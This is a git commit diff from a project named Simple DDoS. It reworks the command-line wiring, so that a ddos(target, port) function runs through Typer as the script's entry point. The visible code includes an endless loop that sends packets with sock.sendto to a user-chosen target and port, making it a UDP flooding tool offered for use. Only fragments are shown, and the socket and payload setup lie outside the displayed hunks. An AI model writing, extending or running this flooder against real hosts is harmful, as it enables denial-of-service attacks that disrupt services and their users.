Simplify Typer object
This commit is contained in:
parent
45322152ee
commit
846b86fafd
7 changed files with 15 additions and 41 deletions
|
@ -1,10 +0,0 @@
|
|||
"""Top-level package for Simple DDoS."""
|
||||
# simpleDDoS/__main__.py
|
||||
|
||||
from simpleDDoS import cli, __app_name__
|
||||
|
||||
def main():
|
||||
cli.app(prog_name=__app_name__)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -1,28 +0,0 @@
|
|||
"""Top-level package for Simple DDoS."""
|
||||
# simpleDDoS/cli.py
|
||||
|
||||
from typing import Optional
|
||||
|
||||
import typer
|
||||
|
||||
from simpleDDoS import __app_name__, __version__
|
||||
|
||||
app = typer.Typer()
|
||||
|
||||
def _version_callback(value: bool) -> None:
|
||||
if value:
|
||||
typer.echo(f"{__app_name__} v{__version__}")
|
||||
raise typer.Exit()
|
||||
|
||||
@app.callback()
|
||||
def main(
|
||||
version: Optional[bool] = typer.Option(
|
||||
None,
|
||||
"--version",
|
||||
"-v",
|
||||
help="Show the application's version and exit.",
|
||||
callback=_version_callback,
|
||||
is_eager=True,
|
||||
)
|
||||
) -> None:
|
||||
return
|
|
@ -1,5 +1,5 @@
|
|||
"""Top-level package for Simple DDoS."""
|
||||
# simpleDDoS/__init__.py
|
||||
# simple_ddos/__init__.py
|
||||
|
||||
__app_name__ = 'simple_ddos'
|
||||
__version__ = "0.1.0"
|
|
@ -1,6 +1,14 @@
|
|||
"""Top-level package for Simple DDoS."""
|
||||
# simple_ddos/py_ddos.py
|
||||
|
||||
|
||||
import os
|
||||
import platform
|
||||
import random
|
||||
import ipaddress
|
||||
from ipaddress import IPv4Address
|
||||
|
||||
import typer
|
||||
|
||||
# import threading
|
||||
import socket
|
||||
|
@ -47,8 +55,9 @@ def check_os():
|
|||
|
||||
# Why use a try
|
||||
|
||||
def init_app(target, port, ipaddress):
|
||||
def ddos(target: str, port: str, ip: bool = False):
|
||||
sent = 0
|
||||
net = socket.getaddrinfo(target, port)
|
||||
try:
|
||||
while True:
|
||||
sock.sendto(bytes1, (target, port))
|
||||
|
@ -78,3 +87,6 @@ def init_app(target, port, ipaddress):
|
|||
# for i in range(150):
|
||||
# thread = threading.Thread(target=ddos)
|
||||
# thread.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
typer.run(ddos)
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
from typer.testing import CliRunner
|
||||
|
||||
from .. import __app_name__, __version__, cli
|
||||
from simpleDDoS import __app_name__, __version__, cli
|
||||
|
||||
runner = CliRunner()
|
||||
|
Loading…
Reference in a new issue